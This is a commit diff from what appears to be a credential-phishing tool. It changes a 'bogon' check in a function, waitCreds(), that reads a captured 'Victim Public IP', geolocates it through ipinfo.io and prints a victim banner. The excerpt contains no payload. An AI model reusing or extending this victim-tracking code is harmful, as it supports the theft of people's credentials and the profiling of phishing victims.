Fix for key check

This commit is contained in:
Alexey Mozzhakov 2018-06-20 19:16:25 +03:00 committed by GitHub
parent 8c3896ab2f
commit 99c1beef18
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -153,7 +153,7 @@ def waitCreds():
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read() resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp) ipinfo = json.loads(resp)
if (ipinfo['bogon'] != None): if 'bogon' in ipinfo:
print ('======================================================================'.format(RED, END)) print ('======================================================================'.format(RED, END))
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines) print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
else: else: